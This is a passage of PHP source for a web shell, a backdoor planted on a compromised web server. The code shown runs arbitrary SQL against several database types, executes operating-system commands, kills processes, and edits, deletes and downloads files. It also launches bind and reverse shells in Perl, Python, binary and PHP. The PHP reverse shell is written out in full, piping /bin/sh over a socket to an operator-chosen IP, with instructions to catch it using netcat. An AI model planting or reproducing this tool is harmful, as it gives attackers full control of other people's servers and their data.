 <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
 <table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=0;$i<pg_num_fields($hasil);$i++) $q_result .= "<th>".htmlspecialchars(pg_field_name($hasil,$i))."</th>"; $q_result .= "</tr>"; while($rows=pg_fetch_array($hasil)){ $q_result .= "<tr>"; for($j=0;$j<pg_num_fields($hasil);$j++) { if($rows[$j] == "") $dataz = " "; else $dataz = $rows[$j]; $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; } $q_result .= "</tr>"; } $q_result .= "</table>"; } else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } } elseif(isset($_REQUEST[\'odbccon\']) && ($con = odbc_connect($odbcdsn,$odbcuser,$odbcpass))){ if(isset($_REQUEST[\'sqlcode\'])){ $sqls = ss($_REQUEST[\'sqlcode\']); $querys = explode(";",$sqls); foreach($querys as $query){ if(trim($query) != ""){ $hasil = odbc_exec($con, $query); if($hasil){ $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
 <table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=1;$i<=odbc_num_fields($hasil);$i++) $q_result .= "<th>".htmlspecialchars(odbc_field_name($hasil,$i))."</th>"; $q_result .= "</tr>"; while($rows=odbc_fetch_array($hasil)){ $q_result .= "<tr>"; foreach($rows as $r) { if($r == "") $dataz = " "; else $dataz = $r; $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; } $q_result .= "</tr>"; } $q_result .= "</table>"; } else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } else $sqls = ""; $s_result .= " <form action=\"?db\" method=\"post\">
 <input type=\"hidden\" name=\"odbcdsn\" value=\"".$odbcdsn."\" />
 <input type=\"hidden\" name=\"odbcuser\" value=\"".$odbcuser."\" />
 <input type=\"hidden\" name=\"odbcpass\" value=\"".$odbcpass."\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
 <p><input type=\"submit\" name=\"odbccon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
 &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
 </form>"; $s_result .= "<div>".$q_result."</div>"; if($con) odbc_close($con); } else{ if(isset($_REQUEST[\'pdocon\'])){ try{ $mypdo = new PDO($pdodsn,$pdouser,$pdopass); if(isset($_REQUEST[\'sqlcode\'])){ $sqls = ss($_REQUEST[\'sqlcode\']); $querys = explode(";",$sqls); foreach($querys as $query){ if(trim($query) != ""){ if($hasil = $mypdo->query($query)){ $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
 <table class=\"explore\" style=\"width:99%;\"><tr>"; $r = $hasil->fetch(PDO::FETCH_ASSOC); $savefirstrow = array(); foreach($r as $fn=>$fv){ $q_result .= "<th>".htmlspecialchars($fn)."</th>"; $savefirstrow[] = $fv; } $q_result .= "</tr><tr>"; foreach($savefirstrow as $fv){ $q_result .= "<td>".htmlspecialchars($fv)."</td>"; } $q_result .= "</tr>"; while($rows = $hasil->fetch(PDO::FETCH_ASSOC)){ $q_result .= "<tr>"; foreach($rows as $r) { if($r == "") $dataz = " "; else $dataz = $r; $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; } $q_result .= "</tr>"; } $q_result .= "</table>"; } else{ $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } $q_result .= "</table>"; } } } else $sqls = ""; $s_result .= " <form action=\"?db\" method=\"post\">
 <input type=\"hidden\" name=\"pdodsn\" value=\"".$pdodsn."\" />
 <input type=\"hidden\" name=\"pdouser\" value=\"".$pdouser."\" />
 <input type=\"hidden\" name=\"pdopass\" value=\"".$pdopass."\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
 <p><input type=\"submit\" name=\"pdocon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
 &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
 </form>"; $s_result .= "<div>".$q_result."</div>"; } catch (PDOException $uck) { } } else{ $s_result .= "<div class=\"mybox\"><h2>connect to MySQL</h2>
 <form action=\"?db\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost1\" value=\"".$sqlhost1."\" /></td></tr>
 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser1\" value=\"".$sqluser1."\" /></td></tr>
 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass1\" value=\"\" /></td></tr>
 <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport1\" value=\"".$sqlport1."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>connect to MsSQL</h2>
 <form action=\"?db\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost2\" value=\"".$sqlhost2."\" /></td></tr>
 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser2\" value=\"".$sqluser2."\" /></td></tr>
 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass2\" value=\"\" /></td></tr>
 <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport2\" value=\"".$sqlport2."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>connect to PostgreSQL</h2>
 <form action=\"?db\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost3\" value=\"".$sqlhost3."\" /></td></tr>
 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser3\" value=\"".$sqluser3."\" /></td></tr>
 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass3\" value=\"\" /></td></tr>
 <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport3\" value=\"".$sqlport3."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"pgsqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>connect to Oracle</h2>
 <form action=\"?db\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost4\" value=\"".$sqlhost4."\" /></td></tr>
 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser4\" value=\"".$sqluser4."\" /></td></tr>
 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass4\" value=\"\" /></td></tr>
 <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport4\" value=\"".$sqlport4."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"oraclecon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>connect using ODBC</h2>
 <form action=\"?db\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:120px;\">DSN / Connection String</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"odbcdsn\" value=\"".$odbcdsn."\" /></td></tr>
 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"odbcuser\" value=\"".$odbcuser."\" /></td></tr>
 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"odbcpass\" value=\"\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"odbccon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>connect using PDO</h2>
 <form action=\"?db\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:120px;\">DSN / Connection String</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"pdodsn\" value=\"".$pdodsn."\" /></td></tr>
 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"pdouser\" value=\"".$pdouser."\" /></td></tr>
 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"pdopass\" value=\"\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"pdocon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; } } } elseif(isset($_REQUEST[\'rs\'])){ $rshost = $s_server_ip; $rstarget = ""; $d = $pwd; if(isset($_REQUEST[\'d\'])) $d = ss($_REQUEST[\'d\']); $rsport = "13123"; $rspesan = "Press &#39; Go ! &#39; button and run &#39; nc <i>server_ip</i> <i>port</i> &#39; on your computer"; $rspesanb = "Run &#39; nc -l -v -p <i>port</i> &#39; on your computer and press &#39; Go ! &#39; button"; $rsport1 = $rsport; $rsport2 = $rsport; $rsport3 = $rsport; if(isset($_REQUEST[\'xbind_pl\'])){ if(isset($_REQUEST[\'sqlport1\'])) $rsport1 = ss($_REQUEST[\'sqlport1\']); $rstarget = $rsport1; $rsres = rs($s_win, cp($d), "xbind_pl" ,$xbind_pl, $rstarget); $s_result .= $rsres; } if(isset($_REQUEST[\'xbind_py\'])){ if(isset($_REQUEST[\'sqlport2\'])) $rsport2 = ss($_REQUEST[\'sqlport2\']); $rstarget = $rsport2; $rsres = rs($s_win, cp($d), "xbind_py" ,$xmulti_py, $rstarget); $s_result .= $rsres; } if(isset($_REQUEST[\'xbind_bin\'])){ if(isset($_REQUEST[\'sqlport3\'])) $rsport3 = ss($_REQUEST[\'sqlport3\']); $rstarget = $rsport3; if(!$s_win) $rsres = rs($s_win, cp($d), "xbind_bin" ,$xbind_c, $rstarget); else $rsres = rs($s_win, cp($d), "xbind_bin" ,$wmulti_c, $rstarget); $s_result .= $rsres; } $rsportb1 = $rsport; $rsportb2 = $rsport; $rsportb3 = $rsport; $rsportb4 = $rsport; $rstarget1 = $s_my_ip; $rstarget2 = $s_my_ip; $rstarget3 = $s_my_ip; $rstarget4 = $s_my_ip; if(isset($_REQUEST[\'xback_pl\'])){ if(isset($_REQUEST[\'sqlportb1\'])) $rsportb1 = ss($_REQUEST[\'sqlportb1\']); if(isset($_REQUEST[\'rstarget1\'])) $rstarget1 = ss($_REQUEST[\'rstarget1\']); $rstarget = $rsportb1." ".$rstarget1; $rsres = rs($s_win, cp($d), "xback_pl" ,$xback_pl, $rstarget); $s_result .= $rsres; } if(isset($_REQUEST[\'xback_py\'])){ if(isset($_REQUEST[\'sqlportb2\'])) $rsportb2 = ss($_REQUEST[\'sqlportb2\']); if(isset($_REQUEST[\'rstarget2\'])) $rstarget2 = ss($_REQUEST[\'rstarget2\']); $rstarget = $rsportb2." ".$rstarget2; $rsres = rs($s_win, cp($d), "xback_py" ,$xmulti_py, $rstarget); $s_result .= $rsres; } if(isset($_REQUEST[\'xback_bin\'])){ if(isset($_REQUEST[\'sqlportb3\'])) $rsportb3 = ss($_REQUEST[\'sqlportb3\']); if(isset($_REQUEST[\'rstarget3\'])) $rstarget3 = ss($_REQUEST[\'rstarget3\']); $rstarget = $rsportb3." ".$rstarget3; if(!$s_win) $rsres = rs($s_win, cp($d), "xback_bin" ,$xback_c, $rstarget); else $rsres = rs($s_win, cp($d), "xback_bin" ,$wmulti_c, $rstarget); $s_result .= $rsres; } if(isset($_REQUEST[\'xback_php\'])){ if(isset($_REQUEST[\'sqlportb4\'])) $rsportb4 = ss($_REQUEST[\'sqlportb4\']); if(isset($_REQUEST[\'rstarget4\'])) $rstarget4 = ss($_REQUEST[\'rstarget4\']); $ip = $rstarget4; $port = $rsportb4; $chunk_size = 1337; $write_a = null; $error_a = null; $shell = \'/bin/sh\'; $daemon = 0; $debug = 0; if(function_exists(\'pcntl_fork\')){ $pid = pcntl_fork(); if ($pid == -1) exit(1); if ($pid) exit(0); if (posix_setsid() == -1) exit(1); $daemon = 1; } umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if(!$sock) exit(1); $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if(!is_resource($process)) exit(1); stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); while(1){ if(feof($sock)) break; if(feof($pipes[1])) break; $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if(in_array($sock, $read_a)){ $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); } if(in_array($pipes[1], $read_a)){ $input = fread($pipes[1], $chunk_size); fwrite($sock, $input); } if(in_array($pipes[2], $read_a)){ $input = fread($pipes[2], $chunk_size); fwrite($sock, $input); } } fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]); proc_close($process); $rsres = " "; $s_result .= $rsres; } $s_result .= "<div class=\"mybox\"><h2>Bind shell ( perl )</h2>
 <form action=\"?rs\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:100px;\">Server IP</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost1\" value=\"".$rshost."\" /></td></tr>
 <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport1\" value=\"".$rsport1."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"xbind_pl\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span>
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>Bind shell ( python )</h2>
 <form action=\"?rs\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:100px;\">Server IP</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost\" value=\"".$rshost."\" /></td></tr>
 <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport2\" value=\"".$rsport2."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"xbind_py\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span>
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>Bind shell ( bin )</h2>
 <form action=\"?rs\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:100px;\">Server IP</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost\" value=\"".$rshost."\" /></td></tr>
 <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport3\" value=\"".$rsport3."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"xbind_bin\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span>
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( perl )</h2>
 <form action=\"?rs\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget1\" value=\"".$rstarget1."\" /></td></tr>
 <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb1\" value=\"".$rsportb1."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"xback_pl\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( python )</h2>
 <form action=\"?rs\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget2\" value=\"".$rstarget2."\" /></td></tr>
 <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb2\" value=\"".$rsportb2."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"xback_py\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( bin )</h2>
 <form action=\"?rs\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget3\" value=\"".$rstarget3."\" /></td></tr>
 <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb3\" value=\"".$rsportb3."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"xback_bin\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( php )</h2>
 <form action=\"?rs\" method=\"post\" />
 <table class=\"myboxtbl\">
 <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget4\" value=\"".$rstarget4."\" /></td></tr>
 <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb4\" value=\"".$rsportb4."\" /></td></tr>
 </table>
 <input type=\"submit\" name=\"xback_php\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 </div>"; } elseif(isset($_REQUEST[\'view\'])){ $f = ss($_REQUEST[\'view\']); if(isset($fnew) && (trim($fnew)!="")) $f = $fnew; if(is_file($f)){ if(!$s_win && $s_posix){ $name=posix_getpwuid(fileowner($f)); $group=posix_getgrgid(filegroup($f)); $owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\']; } else { $owner = $s_user; } $filn = basename($f); $s_result .= "<table class=\"viewfile\">
 <tr><td>Filename</td><td><span id=\"".cs($filn)."_link\">".$f."</span>
 <form action=\"?d=".$pwd."&amp;view=".$f."\" method=\"post\" id=\"".cs($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
 <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
 onclick=\"tukar(\'".cs($filn)."_link\',\'".cs($filn)."_form\');\" />
 </form>
 </td></tr>
 <tr><td>Size</td><td>".gs($f)."</td></tr>
 <tr><td>Permission</td><td>".gp($f)."</td></tr>
 <tr><td>Owner</td><td>".$owner."</td></tr>
 <tr><td>Create time</td><td>".date("d-M-Y H:i",filectime($f))."</td></tr>
 <tr><td>Last modified</td><td>".date("d-M-Y H:i",filemtime($f))."</td></tr>
 <tr><td>Last accessed</td><td>".date("d-M-Y H:i",fileatime($f))."</td></tr>
 <tr><td>Actions</td><td>
 <a href=\"?d=".$pwd."&amp;edit=".$f."\">edit</a> |
 <a href=\"javascript:tukar(\'".cs($filn)."_link\',\'".cs($filn)."_form\');\">rename</a> |
 <a href=\"?d=".$pwd."&amp;delete=".$f."\">delete</a> |
 <a href=\"?d=".$pwd."&amp;dl=".$f."\">download</a>&nbsp;(<a href=\"?d=".$pwd."&amp;dlgzip=$f\">gzip</a>)</td></tr>
 <tr><td>View</td><td>
 <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=text\">text</a> |
 <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=code\">code</a> |
 <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=image\">image</a></td></tr>
 </table>
 "; $t = ""; $iinfo = getimagesize($f); if(substr($filn,-3,3) == "php") $t = "code"; if(is_array($iinfo)) $t = \'image\'; if(isset($_REQUEST[\'type\'])) $t = ss($_REQUEST[\'type\']); if($t=="image"){ $width = (int) $iinfo[0]; $height = (int) $iinfo[1]; $imginfo = "Image type = ( ".$iinfo[\'mime\']." )<br />
 Image Size = <span class=\"gaul\">( </span>".$width." x ".$height."<span class=\"gaul\"> )</span><br />"; if($width > 800){ $width = 800; $imglink = "<p><a href=\"?d=".$pwd."&amp;img=".$filn."\" target=\"_blank\">
 <span class=\"gaul\">[ </span>view full size<span class=\"gaul\"> ]</span></a></p>"; } else $imglink = ""; $s_result .= "<div class=\"viewfilecontent\" style=\"text-align:center;\">".$imglink."
 <img width=\"".$width."\" src=\"?d=".$pwd."&amp;img=".$filn."\" alt=\"\" style=\"margin:8px auto;padding:0;border:0;\" /></div>"; } elseif($t=="code"){ $s_result .= "<div class=\"viewfilecontent\">"; $file = wordwrap(file_get_contents($f),"240","
"); $buff = highlight_string($file,true); $old = array("0000BB","000000","FF8000","DD0000", "007700"); $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000"); $buff = str_replace($old,$new, $buff); $s_result .= $buff; $s_result .= "</div>"; } else { $s_result .= "<div class=\"viewfilecontent\">"; $s_result .= nl2br(htmlentities((file_get_contents($f)))); $s_result .= "</div>"; } } elseif(is_dir($f)){ chdir($f); $pwd = cp(getcwd()); $s_result .= showdir($pwd,$s_prompt,$s_win); } } elseif(isset($_REQUEST[\'edit\'])){ $f = ss($_REQUEST[\'edit\']); $fc = ""; $fcs = ""; if(is_file($f)) $fc = file_get_contents($f); if(isset($_REQUEST[\'fcsubmit\'])){ $fc = ssc($_REQUEST[\'fc\']); if($filez = fopen($f,"w")){ $time = date("d-M-Y H:i",time()); if(fwrite($filez,$fc)) $fcs = "file saved <span class=\"gaya\">@</span> ".$time; else $fcs = "failed to save"; fclose($filez); } else $fcs = "permission denied"; } $s_result .= " <form action=\"?\" method=\"post\">
 <textarea id=\"fc\" name=\"fc\" class=\"evalcode\">".htmlspecialchars($fc)."</textarea>
 <p><input type=\"text\" class=\"inputz\" style=\"width:98%;\" name=\"edit\" value=\"".$f."\" /></p>
 <p><input type=\"submit\" name=\"fcsubmit\" class=\"inputzbut\" value=\"Save !\" style=\"width:120px;height:30px;\" />
 &nbsp;&nbsp;".$fcs."</p>
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 "; } elseif(isset($_REQUEST[\'ps\'])){ $s_result = "<table class=\"explore sortable\">"; if(!$s_win) $h = "ps -aux"; else $h = "tasklist /V /FO csv"; $wcount = 11; $wexplode = " "; if($s_win) $wexplode = "\",\""; $res = exe($h); if(trim($res)==\'\') $s_result .= "<p class=\"rs_result\">error: permission denied</p>"; else{ if(!$s_win) $res = preg_replace(\'#\ +#\',\' \',$res); $psarr = explode("
",$res); $fi = true; $tblcount = 0; $check = explode($wexplode,$psarr[0]); $wcount = count($check); foreach($psarr as $psa){ if(trim($psa)!=\'\'){ if($fi){ $fi = false; $psln = explode($wexplode,$psa,$wcount); $s_result .= "<tr><th>action</th>"; foreach($psln as $p){ $s_result .= "<th>".trim(trim(strtolower($p)),"\"")."</th>"; } $s_result .= "</tr>"; } else{ $psln = explode($wexplode,$psa,$wcount); $s_result .= "<tr>"; $tblcount = 0; foreach($psln as $p){ if(trim($p)=="") $p = "&nbsp;"; if($tblcount == 0){ $s_result .= "<td style=\"text-align:center;\"><a href=\"?ps&amp;d=".$pwd."&amp;pid=".trim(trim($psln[1]),"\"")."\">kill</a></td>
 <td style=\"text-align:center;\">".trim(trim($p),"\"")."</td>"; $tblcount++; } else{ $tblcount++; if($tblcount == count($psln)) $s_result .= "<td style=\"text-align:left;\">".trim(trim($p), "\"")."</td>"; else $s_result .= "<td style=\"text-align:center;\">".trim(trim($p), "\"")."</td>"; } } $s_result .= "</tr>"; } } } $s_result .= "</table>"; } } else{ if(isset($_REQUEST[\'cmd\'])){ $cmd = ss($_REQUEST[\'cmd\']); if(strlen($cmd) > 0){ if(preg_match(\'#^cd(\ )+(.*)$#\',$cmd,$r)){ $nd = trim($r[2]); if(is_dir($nd)){ chdir($nd); $pwd = cp(getcwd()); $s_result .= showdir($pwd,$s_prompt,$s_win); } elseif(is_dir($pwd.$nd)){ chdir($pwd.$nd); $pwd = cp(getcwd()); $s_result .= showdir($pwd,$s_prompt,$s_win); } else $s_result .= "<pre>".$nd." is not a directory"."</pre>"; } else{ $s_r = htmlspecialchars(exe($cmd)); if($s_r != \'\') $s_result .= "<pre>".$s_r."</pre>"; else $s_result .= showdir($pwd,$s_prompt,$s_win); } } else $s_result .= showdir($pwd,$s_prompt,$s_win); } else $s_result .= showdir($pwd,$s_prompt,$s_win); } $s_info = "<table class=\"headtbl\"><tr><td>".$s_software."</td></tr>"; $s_info .= "<tr><td>".$s_system."</td></tr>"; if($s_id != "") $s_info .= "<tr><td>".$s_id."</td></tr>"; $s_info .= "<tr><td>server ip : ".$s_server_ip."<span class=\"gaya\"> | </span>your ip : ".$s_my_ip."<span class=\"gaya\"> | </span>"; if($s_safemode) $s_info .= "safemode <span class=\"gaya\">ON</span>"; else $s_info .= "safemode <span class=\"gaya\">OFF</span>"; $s_info .= "
 </td></tr>
 <tr><td style=\"text-align:left;\">
 <table class=\"headtbls\"><tr>
 <td>".trim($letters)."</td>
 <td>
 <span id=\"chpwd\">&nbsp;<a href=\"javascript:tukar(\'chpwd\',\'chpwdform\');\">&gt;&nbsp;&nbsp;</a>".swd($pwd)."</span>
 <form action=\"?\" method=\"get\" style=\"margin:0;padding:0;\">
 <span class=\"sembunyi\" id=\"chpwdform\">
 &nbsp;<a href=\"javascript:tukar(\'chpwdform\',\'chpwd\');\">&gt;</a>&nbsp;&nbsp;
 <input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"".cp($pwd)."\" />
 <input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"".$pwd."\" />
 <input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view\" />
 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'chpwdform\',\'chpwd\');\" />
 </form>
 </span>
 </td></tr>
 </table>
 </td></tr>
 </table>"; } ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 
 <head>
 <title><?php echo $s_title; ?></title>
 <link rel="SHORTCUT ICON" href="<?php echo $_SERVER[\'SCRIPT_NAME\']."?favicon"; ?>" />
 
 <style type="text/css"><?php echo gzinflate(base64_decode($style)); ?></style>
 
